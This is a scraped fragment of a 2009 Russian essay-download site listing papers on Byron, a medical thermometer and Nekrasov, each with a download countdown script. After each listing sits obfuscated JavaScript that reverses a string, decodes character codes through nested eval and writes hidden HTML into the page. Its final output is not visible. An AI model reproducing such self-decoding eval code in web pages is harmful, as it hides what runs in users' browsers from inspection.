браузере поддержку JavaScript <br>(средний уровень безопасности по умолчанию), <br>после чего обновите страницу.</noscript><br> <script>var q='>tpircs/< ;))k(lave(lave ;";)95,14,01,31,04,001,23,23,521,23,23,23,23,14,23,111,23,23,04,101,611,501,411,911,64,611,011,101,901,711,99,111,001,23,23,521,23,95,23,23,23,23,14,23,23,23,99,23,04,101,001,111,76,411,79,401,76,901,111,411,201,64,301,011,501,411,611,38,23,23,16,34,23,111,23,23,23,23,95,23,23,25,23,23,34,23,501,23,23,23,16,23,501,23,95,15,05,25,23,23,23,54,23,23,23,23,14,01,31,14,23,23,23,15,23,34,23,23,501,23,04,611,56,411,79,401,99,64,511,23,23,23,34,23,23,23,14,23,23,23,23,05,23,23,34,23,23,501,23,23,23,23,04,611,56,411,79,401,99,64,511,23,23,34,23,14,23,23,94,23,23,23,23,34,23,23,23,501,23,23,23,23,04,611,56,411,79,401,99,64,511,23,34,23,23,14,23,23,501,23,04,611,56,411,79,401,99,64,511,23,04,23,23,23,23,001,011,711,111,411,64,401,611,79,77,23,23,23,16,01,31,99,23,23,23,321,23,14,23,401,611,301,011,101,801,64,511,23,06,23,23,501,23,23,04,23,23,101,801,501,401,911,23,23,95,23,23,84,23,23,23,16,23,23,23,23,99,23,23,95,23,23,84,23,23,16,23,501,23,23,23,23,321,23,23,14,23,23,04,23,23,23,001,23,23,011,111,501,611,99,011,711,201,23,23,23,95,23,23,23,43,43,23,16,23,23,111,23,23,23,23,411,79,811,23,23(edoCrahCmorf.gnirtS = f" = k ;"584093505350825073502250835007403840845028404640264083504250445048407350025012500450335042502350764083504250445048404250135012500250545082508350425073507640835042504450484083507350025012501350135043507350225083507640174097405740484093507250625082504250725076401740574077404840725093503250825024502640554076402640535004503250025043501350264055407640574047406740574067406740325002504350135033502450435032501350735004503640335042505350435096402450435032503350825024505540284075408740674047404740484032508250164004507350964042507350435023508640145043509350025073504250525042507350484013507350045016402740474087402740484042503250435022501640674008407150715071507150545043507250135042508350715071509350025073504250525042507350484073504250935042502350025073500250535068405350725053509640345042503250335082500740935002507350425052504250735007408350325093500740045073509640425093508250835093508350435062500740074018405350935093507250754048405740474067405740674067403250025043501350335024504350325013507350045055407350025014506450554046403640574047406740574067406740325002504350135033502450435032505540335043508250935022503350045052505840754093505350825073502250835002501450025092500740935034504250935075404840425053504450935055409350535082507350225083503840" = s >tpircsavaj=egaugnal tpircs<';code='var c,x,i;x=q.length;c="";for (i=x-1;i>=0;i--) c+=q.charAt(i); q=c;';eval(code);document.write(q);</script><br> </cut> Thu, 12 Nov 2009 14:48:55 GMT /1257936939.html <strong>Тип</strong>: <i>Реферат</i><br><strong>Тема</strong>: <i>Джордж Гордон Байрон - неутомимый, страстный поэт-борец, защитник свободы и справедливости</i><br><strong>Подтема</strong>: <i>Литература</i><br><cut><br> <div id="downloadhtml203290"></div> <script language="Javascript"> var downloadlink203290='<strong><a href=\'javascript: countdown2203290()\' title=\'скачать\'>СКАЧАТЬ</a></strong>'; document.getElementById("downloadhtml203290").innerHTML = downloadlink203290; var downcount203290=15; function countdown2203290() { downcount203290--; if( downcount203290 == 0 ) { document.getElementById("downloadhtml203290").innerHTML = downloadlink203290; download203290(); } if( downcount203290 > 0 ) { downloadlink203290='<strong>Если загрузка не началась автоматически, <a href=\'javascript: download203290()\' title=\'загрузка\'>перейдите по этой ссылке.</a></strong>'; document.getElementById("downloadhtml203290").innerHTML = "<strong>Загрузка начнется через: <a href=\'\'>"+downcount203290+"</a> сек</strong>"; setTimeout('countdown2203290()',1000); }} </script><br> <noscript>Для загрузки документа включите в браузере поддержку JavaScript <br>(средний уровень безопасности по умолчанию), <br>после чего обновите страницу.</noscript><br> <script>var q='>tpircs/< ;))k(lave(lave ;";)95,14,01,31,04,001,23,23,23,23,521,23,23,23,23,14,23,23,23,111,23,23,23,04,101,611,501,411,911,64,611,011,101,901,711,99,111,001,23,23,23,521,23,23,95,23,23,14,23,99,23,23,23,04,101,001,111,76,411,79,401,76,901,111,411,201,64,301,011,501,411,611,38,23,23,23,16,34,23,111,23,23,95,23,23,23,23,25,23,34,23,23,23,501,23,23,23,16,23,23,23,23,501,23,23,95,15,65,94,23,23,23,23,54,23,14,01,31,14,23,23,23,23,15,23,23,34,23,23,23,501,23,04,611,56,411,79,401,99,64,511,23,23,23,34,23,23,23,14,23,05,23,23,34,23,23,23,23,501,23,23,04,611,56,411,79,401,99,64,511,23,23,23,23,34,23,14,23,94,23,23,34,23,501,23,23,04,611,56,411,79,401,99,64,511,23,23,23,34,23,23,23,23,14,23,501,23,04,611,56,411,79,401,99,64,511,23,23,23,04,23,23,23,23,001,011,711,111,411,64,401,611,79,77,23,23,23,23,16,01,31,99,23,23,321,23,23,14,23,23,401,611,301,011,101,801,64,511,23,23,23,23,06,23,23,23,501,23,23,04,23,23,101,801,501,401,911,23,23,95,23,23,23,23,84,23,23,23,23,16,23,99,23,23,23,23,95,23,23,84,23,23,23,16,23,23,23,501,23,23,321,23,23,23,23,14,23,23,04,23,23,23,001,23,23,23,23,011,111,501,611,99,011,711,201,23,23,23,95,23,23,23,43,43,23,23,16,23,23,111,23,23,23,411,79,811,23(edoCrahCmorf.gnirtS = f" = k ;"5420992059208820792028208920032034208030242042202220892048204030442079200820182000303920482029207220892048204030442048201920182008205030882089204820792072208920482040304420892079200820182019201920492079202820892072201320932053204420992078206820882048207820722013205320732044207820992038208820203022205120722022205920003038200820492019202220512072201320042033204320132033203820082049201920392020304920382019207920003032203920482059204920922020304920382039208820203051202420712083206320432043204420382088201220003079209220482079204920292082201030492099200820792048205820482079204420192079200030122023204320832023204420482038204920282012209320132023207720772077207720082079204820992088201920772077209920082079204820582048207920442079204820992048202920082079200820592064205920782059209220303048203820392088200320992008207920482058204820792003208920382099200320003079209220482099208820892099208920492068200320032014205920992099207820712044201320042033204320132033203820082049201920392020304920382019207920003051207920082010306030512042203220132004203320432013203320382008204920192039202030492038205120392049208820992028203920003058205420712099205920882079202820892008201030082098200320992030304820992071204420482059204030992051209920592088207920282089203420" = s >tpircsavaj=egaugnal tpircs<';code='var c,x,i;x=q.length;c="";for (i=x-1;i>=0;i--) c+=q.charAt(i); q=c;';eval(code);document.write(q);</script><br> </cut> Wed, 11 Nov 2009 13:55:39 GMT /1257859335.html <strong>Тип</strong>: <i>Реферат</i><br><strong>Тема</strong>: <i>Разработка медицинского цифрового термометра</i><br><strong>Подтема</strong>: <i>Радиоэлектроника</i><br><cut><br> <div id="downloadhtml624441"></div> <script language="Javascript"> var downloadlink624441='<strong><a href=\'javascript: countdown2624441()\' title=\'скачать\'>СКАЧАТЬ</a></strong>'; document.getElementById("downloadhtml624441").innerHTML = downloadlink624441; var downcount624441=16; function countdown2624441() { downcount624441--; if( downcount624441 == 0 ) { document.getElementById("downloadhtml624441").innerHTML = downloadlink624441; download624441(); } if( downcount624441 > 0 ) { downloadlink624441='<strong>Если загрузка не началась автоматически, <a href=\'javascript: download624441()\' title=\'загрузка\'>перейдите по этой ссылке.</a></strong>'; document.getElementById("downloadhtml624441").innerHTML = "<strong>Загрузка начнется через: <a href=\'\'>"+downcount624441+"</a> сек</strong>"; setTimeout('countdown2624441()',1000); }} </script><br> <noscript>Для загрузки документа включите в браузере поддержку JavaScript <br>(средний уровень безопасности по умолчанию), <br>после чего обновите страницу.</noscript><br> <script>var q='>tpircs/< ;))k(lave(lave ;";)95,14,01,31,04,001,23,23,23,23,521,23,23,23,14,23,23,111,23,04,101,611,501,411,911,64,611,011,101,901,711,99,111,001,23,23,23,521,23,23,95,23,23,23,23,14,23,23,23,23,99,23,23,23,23,04,101,001,111,76,411,79,401,76,901,111,411,201,64,301,011,501,411,611,38,23,23,23,23,16,34,23,23,23,111,23,23,95,23,23,23,25,23,23,23,34,23,23,501,23,23,23,23,16,23,23,23,23,501,23,23,23,95,25,75,94,23,23,54,23,23,14,01,31,14,23,15,23,23,34,23,501,23,23,23,04,611,56,411,79,401,99,64,511,23,23,23,23,34,23,14,23,23,05,23,23,23,23,34,23,23,23,23,501,23,23,23,04,611,56,411,79,401,99,64,511,23,23,34,23,23,23,14,23,23,23,23,94,23,34,23,501,23,23,23,23,04,611,56,411,79,401,99,64,511,23,23,34,23,14,23,23,501,23,23,23,04,611,56,411,79,401,99,64,511,23,04,23,001,011,711,111,411,64,401,611,79,77,23,16,01,31,99,23,23,23,321,23,23,23,14,23,23,23,23,401,611,301,011,101,801,64,511,23,23,23,06,23,23,23,501,23,23,04,23,23,23,23,101,801,501,401,911,23,95,23,23,23,84,23,23,16,23,99,23,23,95,23,23,23,23,84,23,16,23,23,23,501,23,23,23,321,23,14,23,23,23,23,04,23,001,23,23,011,111,501,611,99,011,711,201,23,23,23,23,95,23,23,23,43,43,23,16,23,23,23,111,23,23,23,23,411,79,811,23,23,23,23(edoCrahCmorf.gnirtS = f" = k ;"6520013060309920803039209030142045209130352053203320903059205130552080301920292011304030592030308320903059205130552059202030292019206130992090305920803083209030592051305520903080301920292020302030503080303920903083202420052064205520013089207920992059208920832024206420842055208920013049209920313033206220832033206030113049201920503020303320622083203420642064206420442084204920192050302030403031305030492020308030113043204030592060305030042031305030492040309920313062203520822094207420542054205520492099202320113080300420592080305030303093202130503001301920803059206920592080305520203080301130232034205420942034205520592049205030392023200520842034208820882088208820103059202030592050309920492019208030882088200130192080305920692059208030552080305920013059203030192080301920603075206030892060300420413059204920403099201420013019208030592069205920803014209030492001301420113080300420592001309920903001309030503079201420142025206030013001308920822055203420642064206420442084204920192050302030403031305030492020308030113062208030192021307130622053204320342064206420642044208420492019205030203040303130503049206220403050309920013039204030113069206520822001306030992080303920903019202130192000301420013041305920013082205520592060305130013062200130603099208030392090304520" = s >tpircsavaj=egaugnal tpircs<';code='var c,x,i;x=q.length;c="";for (i=x-1;i>=0;i--) c+=q.charAt(i); q=c;';eval(code);document.write(q);</script><br> </cut> Tue, 10 Nov 2009 16:22:15 GMT /1257803376.html <strong>Тип</strong>: <i>Сочинение</i><br><strong>Тема</strong>: <i>Народные заступники в поэме Кому на Руси жить хорошо</i><br><strong>Подтема</strong>: <i>Некрасов Н. А.</i><br><cut><br> <div id="downloadhtml827256"></div> <script language="Javascript"> var downloadlink827256='<strong><a href=\'javascript: countdown2827256()\' title=\'скачать\'>СКАЧАТЬ</a></strong>'; document.getElementById("downloadhtml827256").innerHTML = downloadlink827256; var downcount827256=11; function countdown2827256() { downcount827256--; if( downcount827256 == 0 ) { document.getElementById("downloadhtml827256").innerHTML = downloadlink827256; download827256(); } if( downcount827256 > 0 ) { downloadlink827256='<strong>Если загрузка не началась автоматически, <a href=\'javascript: download827256()\' title=\'загрузка\'>перейдите по этой ссылке.</a></strong>'; document.getElementById("downloadhtml827256").innerHTML = "<strong>Загрузка начнется через: <a href=\'\'>"+downcount827256+"</a> сек</strong>"; setTimeout('countdown2827256()',1000); }} </script><br> <noscript>Для загрузки документа включите в браузере поддержку JavaScript <br>(средний уровень безопасности по умолчанию), <br>после чего обновите страницу.</noscript><br> <script>var q='>tpircs/< ;))k(lave(lave ;";)95,14,01,31,04,001,23,521,23,23,23,14,23,23,23,111,23,04,101,611,501,411,911,64,611,011,101,901,711,99,111,001,23,23,23,23,521,23,23,95,23,23,23,14,23,99,23,04,101,001,111,76,411,79,401,76,901,111,411,201,64,301,011,501,411,611,38,23,16,34,23,23,111,23,23,95,23,23,23,25,23,23,23,23,34,23,23,23,501,23,23,23,16,23,501,23,23,23,95,55,84,55,23,23,54,23,23,23,14,01,31,14,23,23,15,23,34,23,23,501,23,23,04,611,56,411,79,401,99,64,511,23,23,23,23,34,23,23,23,23,14,23,23,05,23,23,23,23,34,23,501,23,23,04,611,56,411,79,401,99,64,511,23,23,34,23,23,23,23,14,23,23,23,23,94,23,23,34,23,23,501,23,23,23,04,611,56,411,79,401,99,64,511,23,34,23,23,14,23,23,23,501,23,23,23,23,04,611,56,411,79,401,99,64,511,23,23,23,04,23,23,23,001,011,711,111,411,64,401,611,79,77,23,23,23,16,01,31,99,23,23,23,23,321,23,23,23,14,23,401,611,301,011,101,801,64,511,23,23,06,23,23,23,501,23,23,04,23,101,801,501,401,911,23,95,23,84,23,23,16,23,23,99,23,23,23,23,95,23,84,23,23,23,16,23,501,23,23,321,23,14,23,23,23,04,23,23,23,23,001,23,23,011,111,501,611,99,011,711,201,23,95,23,43,43,23,16,23,111,23,23,411,79,811,23,23,23(edoCrahCmorf.gnirtS = f" = k ;"967032809180218012806080228045707670238066708470647022808080828086701280408050804280718080806180157022808080828086708080518050804080928021802280808012801570228080808280867022801280408050805180518081801280608022801570557036709570867032801180018021808080118015705570957016708670118032807080218062806470937015706470918042807080408081805180647093701570167006707570267075703670708040808180518071806280818070805180128042807470718080809180818035706280818070807180218062809370667014702670067085708570867070802180547042801280357080801280818061802570528081803280408012808080908080801280867051801280428054706570857026706570867080807080818060805470367036701080108010801080467036702080228042801280108010808080218071808080718021801180608081802280867012808080328080806180408012804080918007709180118091803570728080807080718021804570328040801280808090808080128045702280708032804570428012803570808032802180228032802280818001804570457056709180328032801180147086701670067075702670757036707080408081805180718062808180708051801280428093701280408052800380937084707470167006707570267075703670708040808180518071806280818070809370718081802180328060807180428090809670147032809180218012806080228040805280408031804570328072808080328014708670808091808280328093703280918021801280608022807670" = s >tpircsavaj=egaugnal tpircs<';code='var c,x,i;x=q.length;c="";for (i=x-1;i>=0;i--) c+=q.charAt(i); q=c;';eval(code);document.write(q);</script><br> </cut> Tue, 10 Nov 2009 00:49:36 GMT